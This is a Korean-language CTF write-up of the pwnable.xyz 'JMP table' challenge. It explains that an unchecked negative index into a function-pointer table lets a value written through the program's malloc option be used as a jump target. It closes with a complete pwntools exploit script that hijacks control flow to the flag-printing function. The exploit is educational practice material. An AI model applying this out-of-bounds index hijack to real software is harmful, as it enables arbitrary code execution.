[pwnable.xyz]JMP table

메인에서는 입력받고 함수 포인터로 각각 기능들을 실행해준다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // [rsp+Ch] [rbp-4h]

  setup(*&argc, argv, envp);
  while ( 1 )
  {
    print_menu();
    printf("> ");
    v3 = read_long();
    if ( v3 <= 4 )
      (*(&vtable + v3))();
    else
      puts("Invalid.");
  }
}

취약점은 음수 체크를 안한다. 그래서 함수포인터에서 read_long()에서 입력받은 값으로 4이하 모든 곳에 참조할 수 있다. 근데 마침 vtable뒤에 heap_buffer와 size가 존재한다. size에 원하는 주소 값을 넣어서 해당 변수를 참조하면 원하는 주소로 뛸 수 있다.

.data:00000000006020B0                 public size
.data:00000000006020B0 ; size_t size
.data:00000000006020B0 size            dq 1                    ; DATA XREF: do_malloc+1E↑w
.data:00000000006020B0                                         ; do_malloc+25↑r ...
.data:00000000006020B8                 public heap_buffer
.data:00000000006020B8 ; void *heap_buffer
.data:00000000006020B8 heap_buffer     dq 1                    ; DATA XREF: do_malloc+3F↑w
.data:00000000006020B8                                         ; do_malloc+50↑w ...
.data:00000000006020C0                 public vtable
.data:00000000006020C0 vtable          dq offset do_exit       ; DATA XREF: main+4E↑o
.data:00000000006020C8                 dq offset do_malloc
.data:00000000006020D0                 dq offset do_free
.data:00000000006020D8                 dq offset do_read
.data:00000000006020E0                 dq offset do_write
.data:00000000006020E0 _data           ends

사이즈는 do_malloc() 함수에서 변경 가능하다 이 영역을 cat /flag 해주는 함수 주소로 덮어쓴다. 그리고 vtable과 size 주소의 차이는 16이니까 -2 해주면 flag 출력해주는 함수를 실행할 수 있다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30007)
flag = e.symbols['_']
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
s = lambda x : p.send(x)

def malloc(size):
	sla('>','1')
	sla(':',str(size))

def free():
	sla('>','2')

def read(data): #input
	sla('>','3')
	s(data)

def write(): # print
	sla('>','4')

def quit():
	sla('>','5')

malloc(flag)
sla('>','-2')

p.interactive()